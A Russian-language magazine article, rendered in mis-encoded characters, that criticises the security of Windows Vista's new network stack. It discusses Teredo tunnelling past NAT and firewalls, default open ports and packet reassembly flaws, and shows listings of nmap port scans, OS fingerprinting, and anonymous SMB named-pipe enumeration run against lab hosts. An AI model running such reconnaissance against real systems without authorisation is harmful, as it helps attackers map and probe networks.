âîëüíî íå ïåðåéäåò. Ïî-
ñêîëüêó ïðîìåæóòî÷íûå
áèëäû ïðîñà÷èâàëèñü â
ôàéëîîáìåííûå ñåòè ñ çà-
âèäíîé ðåãóëÿðíîñòüþ, ñåé-
÷àñ ìû ìîæåì âîññòàíîâèòü
ïîëíóþ õðîíîëîãèþ ðàçðà-
áîòêè ñèñòåìû: http://en.wi-

kipedia.org/wiki/Develop-
ment_of_Windows_Vista.

Ìíåíèå ñàìèõ ðàçðàáîò-
÷èêîâ î êà÷åñòâå êîäà ìîæíî
óçíàòü èç æàðêîé äèñêóññèè,
ðàçãîðåâøåéñÿ íà blogspot'å
(ñì. http://minimsft.blog-
spot.com/2006/03/vista-2007-
fire-leadership-now.html),
áîëüøèíñòâî ïîñòåðîâ,
ïî ïîíÿòíûì ïðè÷èíàì,

íå îñòàâëÿþò ñâîèõ èìåí, è
îäèí ÷åðò ðàçáåðåò, êòî èç
íèõ äåéñòâèòåëüíî ðàáîòàåò
â Microsoft, à êòî ïðîñòî
ïðèêèäûâàåòñÿ. Òåì íå ìå-
íåå, èìåÿ æèâîå ïîäòâåð-
æäåíèå â âèäå äèñòðèáóòè-
âà Âèñòû íà ðóêàõ, ìû ìî-
æåì «ôèëüòðîâàòü áàçàð»,
âûäåëÿÿ èç îáùåãî ãâàëòà
ïðàâäèâóþ èíôîðìàöèþ.
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Óñòàâ ëàòàòü ñòàðûé ñåòåâîé ñòåê, äîñòàâøèéñÿ åé
â íàñëåäñòâî åùå îò NT, êîìàíäà ðàçðàáîò÷èêîâ
Âèñòû ðåøèëà, ÷òî, ïåðåïèñàâ åãî ñ íóëÿ, îíà äîñ-
òèãíåò âûäàþùåãîñÿ óðîâíÿ áåçîïàñíîñòè, ïîïóò-
íî ïîâûñèâ ïðîèçâîäèòåëüíîñòü è ðåàëèçîâàâ ðÿä
äîïîëíèòåëüíûõ ôè÷. Âåñüìà íåõèëîå ðåøåíèå,
íàäî ñêàçàòü. Ñåòåâîé ñòåê — ýòî ãðàíäèîçíîå ñî-
îðóæåíèå, ê ïðîåêòèðîâàíèþ êîòîðîãî íóæíî ïîä-
õîäèòü ñ ãîëîâîé, à óìíûõ ëþäåé â Microsoft ñ êàæ-
äûì ãîäîì ñòàíîâèòñÿ âñå ìåíüøå è ìåíüøå. Ïå-
÷àëüíî, íî ôàêò, áåññïîðíûì äîêàçàòåëüñòâîì êî-
òîðîãî ñëóæèò íîâûé ñåòåâîé ñòåê, ïîâòîðÿþùèé
îøèáêè äåñÿòèëåòíåé äàâíîñòè è äîáàâëÿþùèé
ê íèì öåëîå ïîë÷èùå íîâûõ, ìíîãèå èç êîòîðûõ
ãíåçäÿòñÿ íà êîíöåïòóàëüíîì óðîâíå, è áóäóò èñï-
ðàâëåíû íåñêîðî (åñëè áóäóò èñïðàâëåíû âîîáùå).

Âîïðåêè âñåì çàâåðåíèÿì Microsoft, ñåòåâîé
ñòåê Âèñòû íàìíîãî ìåíåå íàäåæåí è áåçîïàñåí,
÷åì â XP, ê òîìó æå, îí ñîâåðøåííî íå èçó÷åí è
àáñîëþòíî íåïðåäñêàçóåì. Ó àäìèíèñòðàòîðîâ
íåò îïûòà ðåøåíèÿ ïðîáëåì, ñ êîòîðûìè îíè
ïðåæäå íå ñòàëêèâàëèñü, ðàçðàáîò÷èêè çàùèòíûõ
êîìïîíåíòîâ (îò ïðîãðàììíûõ áðàíäìàóýðîâ äî
àïïàðàòíûõ êîìïëåêñîâ) åùå íå âêëþ÷èëè ïîääå-
ðæêó Âèñòû è åå ïðîòîêîëîâ â ñâîè ïðîäóêòû.

Âî âðåìåíà NT, êîãäà ÿäðî è ïðèëåãàþùèå
ê íåìó êîìïîíåíòû íå ìåíÿëèñü ðàç â êâàðòàë, ñó-
ùåñòâîâàëè ñåòåâûå ñòåêè îò ñòîðîííèõ ïðîèçâî-
äèòåëåé è, ìåæäó ïðî÷èì, íåïëîõî ðàáîòàëè, óñ-
ïåøíî êîíêóðèðóÿ ñ Microsoft, íî òåïåðü «ïîëèòè-
÷åñêàÿ» ñèòóàöèÿ èçìåíèëàñü, è ó íàñ îñòàëñÿ
òîëüêî îäèí ïóòü — Microsoft way, âåäóùèé íåïîñ-
ðåäñòâåííî â Hell. Òîëüêî ïëàçìàãàíà òàì íå áó-
äåò, è îò õàêåðîâ ïðèäåòñÿ îáîðîíÿòüñÿ ðàçâå ÷òî
êóëàêîì äà êàñòåòîì.

Ñåòåâîé ñòåê òåñíî èíòåãðèðîâàí ñ ÎÑüþ,
è «îòîäðàòü» åãî, âåðíóâ ñòàðûé ñòåê íà ìåñòî, íè-
êàêîé âîçìîæíîñòè íåò. Íàì ïðåäëàãàþò ìíîæå-
ñòâî íîâûõ êîìïîíåíòîâ, ïðè÷åì ýòî ïðåäëîæåíèå
èç ðàçðÿäà òåõ, îò êîòîðûõ íåâîçìîæíî îòêàçàòü-
ñÿ — âåäü íè îòêëþ÷èòü, íè çàáëîêèðîâàòü íåíóæ-
íûå ôè÷è âñå ðàâíî íåëüçÿ. Òî åñòü ìîæíî, êîíå÷-
íî, íî îòíþäü íå ÷åðåç ãðàôè÷åñêèé èíòåðôåéñ,
è áîëüøèíñòâî ïîëüçîâàòåëåé ýòîãî ñäåëàòü

íå ñìîæåò, à ýòî çíà÷èò, ÷òî ÷åðâè, õàêåðû è óäà-
ëåííûå àòàêè áóäóò ïðîöâåòàòü.

÷òî ííîâîãî ââ ñåòåâîì ññòåêå ââèñòû. Ãëàâíûì
è, ïîæàëóé, åäèíñòâåííûì äîñòèæåíèåì Microsoft'à
ñòàëà èíòåãðàöèÿ IPv4 è IPv6 â åäèíûé ñòåê (äî ýòî-
ãî îíè áûëè ðåàëèçîâàíû êàê ðàçäåëüíûå êîìïî-
íåíòû), ÷òî è ïëîõî, è õîðîøî îäíîâðåìåííî. Õî-
ðîøî òî, ÷òî êîíå÷íûé ïîëüçîâàòåëü ïîëó÷àåò ãî-
òîâûé IPv6 áåç âñÿêîé ãîëîâîé áîëè è óñòàíîâêè
äîïîëíèòåëüíûõ ïàêåòîâ. Êàòàñòðîôè÷åñêàÿ íåõ-
âàòêà IP-àäðåñîâ ñ êàæäûì ñåçîíîì îùóùàåòñÿ
âñå îñòðåå è îñòðåå, íî ïåðåõîä íà IPv6 ñäåðæèâà-
åòñÿ êàê íåîáõîäèìîñòüþ ñìåíû ñåòåâîãî îáîðó-
äîâàíèÿ, òàê è îáíîâëåíèåì ñåðâåðíûõ è êëèåí-
òñêèõ ÎÑåé. Â èñòîðè÷åñêîé ïåðñïåêòèâå ïåðåõîä
íà IPv6 íåèçáåæåí. Ýòî ÿñíî âñåì, íî ïî÷åìó æå
íåëüçÿ ðåàëèçîâàòü åãî ïîääåðæêó îïöèîíàëüíî,
êàê ýòî ñäåëàíî âî âñåõ «ïðàâèëüíûõ» ñèñòåìàõ,
â òîé æå xBSD íàïðèìåð?

Áîëüøèíñòâó ñåãîäíÿøíèõ ïîëüçîâàòåëåé
IPv6 ñîâåðøåííî íå íóæåí, ïîñêîëüêó äëÿ ëîêàëü-
íîé ñåòè è IPv4 õâàòàåò ñ ëèõâîé, à îñíîâíàÿ ìàññà
ïðîâàéäåðîâ åùå íå ïîääåðæèâàåò IPv6 è â îáîç-
ðèìîì áóäóùåì ïåðåõîäèòü íà íåãî íå ñîáèðàåò-
ñÿ. Ïðîáëåìà â òîì, ÷òî IPv6 íåñåò â ñåáå ìíîæå-
ñòâî íîâîââåäåíèé, åùå íå îáêàòàííûõ è íå ïðî-
òåñòèðîâàííûõ â ïëàíåòàðíîì ìàñøòàáå. Ýòî íàñ-
òîÿùèé êîò â ìåøêå, îò êîòîðîãî ìîæíî îæèäàòü
÷åãî óãîäíî. Íîâûõ ïðîáëåì, íîâûõ àòàê…

Òåîðåòè÷åñêè (è òîëüêî òåîðåòè÷åñêè!) IPv6
îáåñïå÷èâàåò áîëåå âûñîêóþ ïðîèçâîäèòåëü-
íîñòü è ëó÷øóþ çàùèòó îò àòàê, íî ïðàêòè÷åñêè
âîïðîñû ïðîèçâîäèòåëüíîñòè ðåøàþòñÿ «òîí-
êîé» íàñòðîéêîé îïöèé TCP-/IP-ïðîòîêîëà, êîòî-
ðûå â Windows äîñòóïíû ëèøü ÷àñòè÷íî, è êðàé-
íå îòðûâî÷íî «äîêóìåíòèðîâàíû» â âèäå çàìå-
òîê â Knowledge Base. TCP-/IP-ïðîòîêîë — ýòî íå
òðàêòîð — ñåë, çàâåë è ïîåõàë. Íàä íèì åùå ïî-
êîëäîâàòü íóæíî, ó÷èòûâàÿ øèðèíó êàíàëà, õà-
ðàêòåð çàïðîñîâ è òàê äàëåå.

Íàñòîéêè ïî óìîë÷àíèþ ñòðåìÿòñÿ óäîâëåò-
âîðèòü ñðàçó âñåõ è êàæäîãî, â ðåçóëüòàòå ÷åãî ïî-
íàñòîÿùåìó íå îñòàåòñÿ óäîâëåòâîðåí íèêòî. Îò-
ñóòñòâèå ëåãàëüíûõ ðû÷àãîâ óïðàâëåíèÿ íå ïîçâî-
ëÿåò îöåíèâàòü ðåàëüíóþ ïðîèçâîäèòåëüíîñòü ñå-
òåâîãî ñòåêà, è ãðîìêèå çàÿâëåíèÿ Microsoft'à,
÷òî â Âèñòå ñòåê íàìíîãî áîëåå ïðîèçâîäèòåëåí,
ñëåäóåò ðàñöåíèâàòü êàê ïðîïàãàíäó. Ðåçóëüòàòû
òåñòîâ íè î ÷åì íå ãîâîðÿò! Îòêóäà ìû çíàåì, ìî-
æåò Microsoft ïðîñòî ïîäêðóòèëà íàñòîéêè, ÷òîáû
Âèñòà âûäàâàëà ëó÷øèå ðåçóëüòàòû ïðè èñïûòà-
íèÿõ íà çàðàíåå ïîäãîòîâëåííîì ïîëèãîíå?! Òåì
áîëåå, ÷òî â áîëüøèíñòâå ñëó÷àåâ ðåàëüíûé CPS
îïðåäåëÿåòñÿ îòíþäü íå «êà÷åñòâîì» ñåòåâîãî
ñòåêà, à çàãðóæåííîñòüþ óäàëåííîãî ñåðâåðà, ïðî-
ïóñêíîé ñïîñîáíîñòüþ êàíàëîâ ñâÿçè è òàê äàëåå.
Ãëóïî îæèäàòü, ÷òî, óñòàíîâèâ Âèñòó íà ñâîé
êîìïüþòåð, ìû «ðàçãîíèì» ñâîé ìîäåì õîòÿ áû íà
äåñÿòîê ïðîöåíòîâ…

õàêåðû øøòóðìóþò òòîííåëè. Ñëåäñòâèåì èí-
òåãðàöèè IPv4 ñ IPv6 â åäèíûé ñåòåâîé ñòåê ñòàëî
ïîÿâëåíèå òóííåëüíûõ ïðîòîêîëîâ Teredo, ISATAP,
6to4 è 6over4, ïðè÷åì Teredo óæå óñïåë ïîïàñòü â RFC
è îñåñòü ïîä íîìåðîì 4380 (http://www.rfc-editor.org/
rfc/rfc4380.txt). Ðàçæåâàííîå îïèñàíèå íà ïîíÿòíîì
äàæå äëÿ íåñïåöèàëèñòîâ ÿçûêå ìîæíî íàéòè
â ñòàòüå «Teredo Overview», îïóáëèêîâàííîé íà
Microsoft Tech Net: www.microsoft.com/technet/prodtechnol/
winxppro/maintain/teredo.mspx.

Ãîâîðÿ íà ïàëüöàõ (ñóðäîïåðåâîä äëÿ ãëóõî-
íåìûõ), Teredo èíêàïñóëèðóåò (óïàêîâûâàåò) IPv6-
òðàôèê âíóòðü IPv4-ïàêåòîâ (ñì. ðèñóíîê 3), èñ-
ïîëüçóÿ ïðîòîêîë UDP, ñëàáîñòè è íåäîñòàòêè êî-
òîðîãî õîðîøî èçâåñòíû. Åñëè äâà IPv6-óçëà ðàç-
äåëåíû IPv4-ñåãìåíòîì ñåòè (íàèáîëåå òèïè÷íàÿ
íà ñåãîäíÿøíèé äåíü êîíôèãóðàöèÿ), Âèñòà çàäåé-
ñòâóåò Teredo, íàïðàâëÿÿ çàïðîñ îäíîìó èç ïóá-
ëè÷íûõ Teredo-ñåðâåðîâ, êîòîðûé, â ñâîþ î÷åðåäü,
ïåðåäàåò åãî ïîëó÷àòåëþ, ôàêòè÷åñêè âûïîëíÿÿ
ðîëü proxy-ñåðâåðà.

ÑÅÒÅÂÎÉ ÑÒÅÊ ÂÈÑÒÛ ÁÛË ÏÅÐÅÏÈÑÀÍ Ñ ×ÈÑÒÎÃÎ ËÈÑÒÀ. Î ËÓ×ØÅÌ ÏÎÄÀÐÊÅ
ÎÒ MICROSOFT ÕÀÊÅÐÛ ÍÅ ÌÎÃËÈ È ÌÅ×ÒÀÒÜ! ÐÀÇ ÍÎÂÛÉ — ÇÍÀ×ÈÒ, ÅÙÅ ÑÛÐÎÉ
È ÍÅ ÏÐÎÒÅÑÒÈÐÎÂÀÍÍÛÉ. ÀÍÀËÈÇÈÐÓß ÐÀÍÍÈÅ ÁÅÒÀ-ÂÅÐÑÈÈ ÂÈÑÒÛ,
ÈÑÑËÅÄÎÂÀÒÅËÜÑÊÀß ËÀÁÎÐÀÒÎÐÈß ÊÎÐÏÎÐÀÖÈÈ SYMANTEC ÎÁÍÀÐÓÆÈËÀ ÎÃÐÎÌÍÎÅ
ÊÎËÈ×ÅÑÒÂÎ ÄÛÐ, ×ÒÎ ÓÆÅ ÓÊÀÇÛÂÀÅÒ ÍÀ ÊÐÎÌÅØÍÎÅ ÊÀ×ÅÑÒÂÎ ÊÎÄÈÐÎÂÀÍÈß.
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Ñàìîå èíòåðåñíîå, ÷òî Teredo ïîçâîëÿåò îá-
õîäèòü òðàíñëÿòîðû ñåòåâûõ àäðåñîâ (îíè æå
NAT'û) è áðàíäìàóýðû, ïðè÷åì ýòî íå áàã, à ôè÷à.
Ðàññìîòðèì äâà óçëà, çàùèùåííûå NAT'îì, ïðÿ-
ìîå âçàèìîäåéñòâèå ìåæäó êîòîðûìè íåâîçìîæ-
íî. Íî ýòî îíî ïî IPv4 íåâîçìîæíî, à åñëè èñïîëü-
çîâàòü Teredo-òîííåëü, òî èñòèííûé àäðåñ è ïîðò
íàçíà÷åíèÿ îêàæåòñÿ ñêðûò â Teredo-çàãîëîâêå,
à â IPv4 ïîïàäàåò àäðåñ óçëà, «ñìîòðÿùåãî» â èí-
òåðíåò è UDP-ïîðò ñàìîãî Teredo (3544), êîòîðûé,
êîíå÷íî, ìîæíî è çàêðûòü, íî êàê æå òîãäà ñ îñ-
òàëüíûìè Âèñòà-êëèåíòàìè îáùàòüñÿ?! Ïîñêîëüêó
NAT íå ìîæåò óñòàíîâèòü íè ðåàëüíîãî öåëåâîãî
àäðåñà, íè ðåàëüíîãî öåëåâîãî ïîðòà ïðîòîêîëà
IPv6, îí áåñïðåïÿòñòâåííî ïðîïóñêàåò IPv4-ïàêåò.
Òî æå ñàìîå îòíîñèòñÿ è ê äðóãèì çàùèòíûì ìåõà-
íèçìàì, íå ïîääåðæèâàþùèì ïðîòîêîëà Teredo.

Íî ýòî åùå ÷òî! Ïîääåðæêà íîâûõ ïðîòîêî-
ëîâ — âñåãî ëèøü âîïðîñ âðåìåíè. Ïåðåõîä
íà Âèñòó îçíà÷àåò ïåðåõîä íà Teredo, à ïåðåõîä íà
Teredo íàâÿçûâàåò ãëîáàëüíóþ ìàðøðóòèçàöèþ,
çàñòàâëÿþùóþ çàáûòü î ïðèâàòíûõ IP-àäðåñàõ,
èñïîëüçóþùèõñÿ â ëîêàëüíûõ ñåòÿõ è íåâèäèìûõ
ñíàðóæè. Íó, ýòî ðàíüøå îíè áûëè íåâèäèìû, à òå-
ïåðü... Ïîìíèòñÿ, ÷òî êîãäà îäèí ïàðåíåê ïðîñêà-
íèðîâàë âíóòðåííþþ ñåòü Ïåíòàãîíà è «äîáûë»
ïðèâàòíûå àäðåñà, Ïåíòàãîí òàê ïåðåñòðåìàëñÿ,
÷òî äîâåë äåëî äî ñóäà. Îíî è ïîíÿòíî. ×åì áîëü-
øå õàêåð çíàåò î ñòðóêòóðå çàùèùåííîé ñåòè, òåì
ïðîùå åå àòàêîâàòü.

Ïëþñ êî âñåìó Âèñòà ïîääåðæèâàåò èíêàïñó-
ëÿöèþ IPv4 â IPv4 è IPv6 â IPv6, ÷òî ïîçâîëÿåò
ñêðûâàòü èñòèííûå öåëåâûå àäðåñà è ïîðòû, âû-
íóæäàÿ áðàíäìàóýðû è äðóãèå çàùèòíûå ñðåäñòâà
ïðîâîäèòü ñêðóïóëåçíûé àíàëèç òðàôèêà, à ýòî
ñðàçó æå óâåëè÷èâàåò ïîòðåáíîñòè â ïàìÿòè
è ìîùíîñòè ïðîöåññîðà ñî âñåìè âûòåêàþùèìè
îòñþäà ïîñëåäñòâèÿìè.

Äà… ñ ïîÿâëåíèåì Âèñòà-óçëîâ â ãîñïîä-
ñòâóþùåì IPv4-èíòåðíåòå ñëåäóåò îæèäàòü áîëü-
øèõ ïîòðÿñåíèé. Âîò òàêàÿ îíà, áåçîïàñíîñòü, êî-
òîðóþ íàì îáåùàþò!

TCP/IP. Íà ñàìîì äåëå, TCP/IP íèêîãäà íå èñ-
ïîëüçóåòñÿ â «÷èñòîì» âèäå è âñåãäà îêðóæåí ñâè-
òîé âñïîìîãàòåëüíûõ ïðîòîêîëîâ, ïðè÷åì äàëåêî
íå âñå èç íèõ íóæíû äîìàøíåìó ïîëüçîâàòåëþ,
íî... óâû! Ïðèâû÷êà Microsoft ïèõàòü âñå â îäíó êî-
ðîáêó áåç âîçìîæíîñòè îòäåëèòü îäíî îò äðóãîãî
äàåò î ñåáå çíàòü, è ìû íå ìîæåì óäàëèòü ëèøíèå
ïðîòîêîëû, êîòîðûå íå òîëüêî æðóò ñèñòåìíûå ðå-
ñóðñû, íî åùå è ñëóæàò èñòî÷íèêîì ïîòåíöèàëü-
íûõ îøèáîê, äûð è ëþêîâ, â ñóùåñòâîâàíèè êîòî-
ðûõ ìîæíî íå ñîìíåâàòüñÿ.

Ïî ýòîìó ïîâîäó âñïîìèíàåòñÿ îäèí õîðî-
øèé àíåêäîò: çàõîäèò Áèëë â Ìàê-Äîíàëüäñ, çàêà-
çûâàåò êîëó, áèã-ìàê ñ êàðòîøêîé ôðè è... ïîëó÷à-
åò âñå ýòî â îäíîì ñòàêàíå, áåçíàäåæíî ïåðåìå-
øàííîå äðóã ñ äðóãîì, è åùå ñ êó÷åé äðóãèõ íåïî-
íÿòíûõ âåùåé (ìóõ, òàðàêàíîâ), êîòîðûå Áèëë ñîâ-
ñåì íå çàêàçûâàë, è áûë áû ðàä îòêàçàòüñÿ îò íèõ,
åñëè áû òîëüêî çíàë êàê.

59

Óñïåøíîå ñêàíèðîâàíèå ïîðòîâ, çàêðûòûõ âñòðîåííûì â Âèñòó áðàíäìàóýðîì

linux# nmap -P0 -sT -p1-65535 10.200.200.127

PORT STATE SERVICE

135/tcp filtered msrpc

139/tcp filtered netbios-ssn

445/tcp filtered microsoft-ds

49152/tcp filtered unknown

49153/tcp filtered unknown

49154/tcp filtered unknown

49155/tcp filtered unknown

49156/tcp filtered unknown

49157/tcp filtered unknown

Ïåðå÷èñëåíèå èìåíîâàííûõ êàíàëîâ ïðîòîêîëà SMB

xp> net use \\10.200.200.123\ipc$ /u:"" ""

xp> c:\python24\python trypipes.py -m 10.200.200.123 pipes.txt

\\10.200.200.123\PIPE\netlogon

\\10.200.200.123\PIPE\lsarpc

\\10.200.200.123\PIPE\samr

Ïåðå÷èñëåíèå èìåíîâàííûõ êàíàëîâ ïðîòîêîëà SMB2

vista> c:\python24\python trypipes.py -m 10.200.200.123 pipes.txt

\\10.200.200.123\PIPE\lsass

\\10.200.200.123\PIPE\protected_storage

\\10.200.200.123\PIPE\netlogon

\\10.200.200.123\PIPE\lsarpc

\\10.200.200.123\PIPE\samr

«Îòïå÷àòîê ïàëüöåâ» ñåòåâîãî ñòåêà Âèñòû

linux# nmap -sT -p 445,999 -O 10.200.200.124

Fingerprint Microsoft Windows Longhorn eval build 4051

Class Microsoft | Windows || general purpose

TSeq(Class=TR%gcd=<6%IPID=I%TS=100HZ)

T1(DF=Y%W=0%ACK=S++%Flags=AR%Ops=)

T2(Resp=Y%DF=Y%W=0%ACK=S%Flags=AR%Ops=)

T3(Resp=Y%DF=Y%W=0%ACK=O%Flags=AR%Ops=)

T4(DF=Y%W=0%ACK=O%Flags=R%Ops=)

T5(DF=Y%W=0%ACK=S++%Flags=AR%Ops=)

T6(DF=Y%W=0%ACK=O%Flags=R%Ops=)

T7(DF=Y%W=0%ACK=S++%Flags=AR%Ops=)

PU(DF=N%TOS=0%IPLEN=164%RIPTL=148%RID=E|F%RIPCK=E%UCK=E%ULEN=134%DAT=E)

«Îòïå÷àòîê ïàëüöåâ» ñåòåâîãî ñòåêà Server 2003/XP SP2

Fingerprint Microsoft Windows 2003 Server or XP SP2

Class Microsoft | Windows | 2003/.NET | general purpose

Class Microsoft | Windows | NT/2K/XP | general purpose

TSeq(Class=TR%gcd=<6%IPID=I)

T1(DF=Y%W=402E|FB8B%ACK=S++%Flags=AS%Ops=MNWNNT)

T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)

T3(Resp=Y%DF=Y%W=402E|FB8B%ACK=S++%Flags=AS%Ops=MNWNNT)

T4(DF=N%W=0%ACK=O%Flags=R%Ops=)

T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)

T6(DF=N%W=0%ACK=O%Flags=R%Ops=)

T7(DF=N%W=0%ACK=S++%Flags=AR%Ops=)

PU(DF=N%TOS=0%IPLEN=B0%RIPTL=148%RID=E%RIPCK=E|F%UCK=E|F%ULEN=134%DAT=E)

(1)

(2)

(3)

(4)

(5)



Âîò òàê æå è çäåñü. Ñåòåâîé ñòåê Âèñòû âêëþ-
÷àåò â ñåáÿ ñëåäóþùèå ïðîòîêîëû: ICMP,  IGMP,
IPV4, IPV6, ICMPV6, TCP, UDP, IP6, GRE,  ESP, AH,
43, 44, 249, 251. Ïîðûâøèñü â RFC, ëåãêî óáåäèòü-
ñÿ, ÷òî äîáðàÿ ïîëîâèíà ïðîòîêîëîâ íå íóæíà íå
òîëüêî ðàáî÷èì ñòàíöèÿì, íî è ñåðâåðàì, à ìíî-
ãèå èç íèõ äàæå íå èìåþò ñîáñòâåííîãî èìåíè, îã-
ðàíè÷èâàÿñü òîëüêî íîìåðîì. Â ÷àñòíîñòè, ïðîòî-
êîëû 43 è 44 îòâå÷àþò çà ìàðøðóòèçàöèþ è ôðàã-
ìåíòàöèþ â IPv6. Ïðè÷åì â ðàííèõ áåòàõ ïîñûëêà
ìóñîðà ïî 43 ïðîòîêîëó ââîäèëà Âèñòó â ãëóáîêóþ
çàäóì÷èâîñòü, ãðàíè÷àùóþ ñ ñóèöèäîì, íî ÷åðåç
íåêîòîðîå âðåìÿ îíà, êàê íè â ÷åì íå áûâàëî,
âîçâðàùàëàñü ê îáðàáîòêå ñåòåâûõ çàïðîñîâ.
À âîò ìóñîð, ïåðåäàííûé ïî 44 ïðîòîêîëó, îáðó-
øèâàë ñèñòåìó â ãîëóáîé ýêðàí ñìåðòè. Ñåé÷àñ
ýòî óæå èñïðàâëåíî, íî íåèçâåñòíî, ñêîëüêî åùå
îøèáîê ðåàëèçàöèè ïðåäñòîèò îáíàðóæèòü.

Àëãîðèòì ñáîðêè IP-ïàêåòîâ èçìåíèëñÿ
â õóäøóþ ñòîðîíó, è ÷àñòè÷íî ïåðåêðûâàþùèåñÿ
ïàêåòû òåïåðü áåçæàëîñòíî îòáðàêîâûâàþòñÿ êàê
íåâåðíûå, ïîðî÷íûå è âîîáùå íåäîñòîéíûå ñóùå-

ñòâîâàíèÿ (ïî âñåé âèäèìîñòè, ïðîãðàììèñòàì
ëåíü áûëî òîïòàòü êëàâèàòóðó, âîò îíè è «ñðåçàëè
óãëû»). Èñêëþ÷åíèå ñîñòàâëÿåò ñèòóàöèÿ, êîãäà
äâà ïàêåòà ïåðåêðûâàþòñÿ íà 100%, — òîãäà îòá-
ðàñûâàåòñÿ ïîñëåäíèé ïàêåò â ïîëüçó ïåðâîãî, õî-
òÿ LINUX-ñèñòåìû ïîñòóïàþò ñ òî÷íîñòüþ äî íàî-
áîðîò. Âîîáùå æå ãîâîðÿ, ïðîáëåì ñî ñáîðêîé ïå-
ðåêðûâàþùèõñÿ ïàêåòîâ ó âñåõ ñèñòåì õâàòàåò,
è êàæäàÿ èç íèõ èìååò ñâîè îñîáåííîñòè, â ðåçóëü-
òàòå ÷åãî ïðèíÿòûå äàííûå èñêàæàþòñÿ äî íåóçíà-
âàåìîñòè èëè ïàêåò íå ñîáèðàåòñÿ âîîáùå! Ðèñó-
íîê, ïðèâåäåííûé íèæå, ïîêàçûâàåò ïîðÿäîê
ñáîðêè UDP-ïàêåòà, ñîñòîÿùåãî èç íåñêîëüêèõ ïå-
ðåêðûâàþùèõñÿ ôðàãìåíòîâ. Êàê âèäíî, Âèñòà
îêàçûâàåòñÿ äàëåêî íå íà âûñîòå.

íîâûå TTCP-//UDP-ïïîðòû. Íîðìàëüíûé êëèåí-
òñêèé óçåë âîîáùå íå äîëæåí ñîäåðæàòü íèêàêèõ
îòêðûòûõ TCP-/UDP-ïîðòîâ! Îí äàæå ìîæåò íå îá-
ðàáàòûâàòü ICMP-ñîîáùåíèÿ, â ÷àñòíîñòè, èãíîðî-
âàòü echo-çàïðîñû (íà ÷åì îñíîâàí ping) è íå îòï-
ðàâëÿòü óâåäîìëåíèé î «êàçíè» ïàêåòà ñ «ïðîñðî-
÷åííûì» TTL (íà ÷åì îñíîâàíà ðàáîòà óòèëèòû
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Ðåçóëüòàò ñáîðêè TCP-ïàêåòà ñ ïåðåêðûâàþùèìèñÿ ôðàãìåíòàìè íà ðàçëè÷íûõ 
îïåðàöèîííûõ ñèñòåìàõ

tracert), õîòÿ âñå ýòî ñ÷èòàåòñÿ äóðíûì òîíîì è ñîç-
äàåò áîëüøå ïðîáëåì, ÷åì ðåøàåò.

Íàëè÷èå îòêðûòûõ ïîðòîâ óêàçûâàåò íà ïðè-
ñóòñòâèå ñåðâåðíûõ ñëóæá, îáñëóæèâàþùèõ óäà-
ëåííûõ êëèåíòîâ. Êàæäàÿ òàêàÿ ñëóæáà — ïîòåí-
öèàëüíûé èñòî÷íèê äûð, ïåðåïîëíÿþùèõñÿ áóôå-
ðîâ è ïðî÷èõ ëàçååê, ÷åðåç êîòîðûå ïðîñà÷èâàþò-
ñÿ ÷åðâè, à âîèíñòâóþùèå õàêåðû áåðóò êîìïüþ-
òåð íà àáîðäàæ.

Âîò íåïîëíûé ñïèñîê ïîðòîâ, îòêðûâàåìûõ
ñèñòåìîé â êîíôèãóðàöèè ïî óìîë÷àíèþ:

— IPV6 UDP;
— MS-RPC (135);
— NTP (123);
— SMB (445);
— ISAKMP (500);
— UPNP (1900);
— WEB SERVICES DISCOVERY (3702);
— WINDOWS COLLABORATION (54745);
— ÑÎÂÌÅÑÒÍÛÉ ÄÎÑÒÓÏ Ê ÔÀÉËÀÌ

È ÏÐÈÍÒÅÐÀÌ (137, 138);
— ÏÎÐÒÛ-ÏÐÈÇÐÀÊÈ — (49767, 62133);
— IPV4 UDP;
— TEREDO (4380, 61587);
— MS-RPC (135);
— SMB (445);
— NBT (139);
— NRP 3540;
— IPV4 TCP;
— P2P GROUPING MEETINGS (3587);
— WINDOWS COLLABORATION (54744);
— ÑÎÂÌÅÑÒÍÛÉ ÄÎÑÒÓÏ Ê ÔÀÉËÀÌ

È ÏÐÈÍÒÅÐÀÌ (137, 138).

Èçîáèëèå îòêðûòûõ ïîðòîâ ïîäîãðåâàåò õàêåðñêèé
èíòåðåñ è ñîçäàåò ñåðüåçíóþ óãðîçó áåçîïàñíîñòè.
Òîëüêî íàèâíûé ìîæåò âåðèòü â òî, ÷òî âñå ýòè ñåð-
âèñû ðåàëèçîâàíû áåç îøèáîê, äà è îøèáêè óæå íà-
÷èíàþò âûïîëçàòü. Êàê âèäíî, IPv6 îòîáðàæàåò
÷àñòü UDP-ïîðòîâ íà IPv4, îäíàêî çàáûâàåò «îáúÿñ-
íèòü» ýòîò ôàêò ñâîåìó æå ñîáñòâåííîìó áðàíäìàó-
ýðó, è åñëè ìû çàêðûâàåì ïå÷àëüíî èçâåñòíûé
135-é ïîðò íà IPv4, åãî íåîáõîäèìî çàêðûòü òàê æå è
íà IPv6, ðàâíî êàê è íàîáîðîò.

Â ðàííèõ áåòàõ ôàêò çàêðûòèÿ ïîðòîâ áûëî
î÷åíü ëåãêî îáíàðóæèòü, ïîñêîëüêó ïðè ïîïûòêå
óñòàíîâêè ñîåäèíåíèÿ ñ íåñóùåñòâóþùèì ïîðòîì
ñèñòåìà âîçâðàùàëà ïàêåò ñ ôëàãîì RST (êàê,
ñîáñòâåííî, è ïîëîæåíî äåëàòü ïî RFC). Ñîîòâåò-
ñòâåííî, ïîðòû, íå âîçâðàòèâøèå ïàêåòà ñ òàêèì
ôëàãîì, íî è íå óñòàíîâèâøèå ñîåäèíåíèÿ, âñå-
òàêè ñóùåñòâóþò, íî çàêðûòû áðàíäìàóýðîì, êî-
òîðûé ìîæíî ëåãêî îáîéòè, íàïðèìåð ÷åðåç RPC.
Ïðàâäà, ýòà ëàçåéêà áûëà áûñòðî çàêðûòà, íî çà-
òî ïðè îòïðàâêå ñîîáùåíèÿ íà íåñóùåñòâóþ-
ùèé UDP IPv6-ïîðò äî ñèõ ïîð âîçâðàùàåòñÿ
ICMPv6-ñîîáùåíèå îá îøèáêå, îïÿòü-òàêè ïîçâî-
ëÿþùåå îòëè÷èòü îòñóòñòâóþùèå ïîðòû îò ïîðòîâ,
çàêðûòûõ áðàíäìàóýðîì (ëèñòèíã 1).

Ðåçóëüòàò ñáîðêè UDP-ïàêåòà ñ ïåðåêðûâàþùèìèñÿ ôðàãìåíòà
è íà ðàçíûõ îïåðàöèîííûõ ñèñòåìàõ



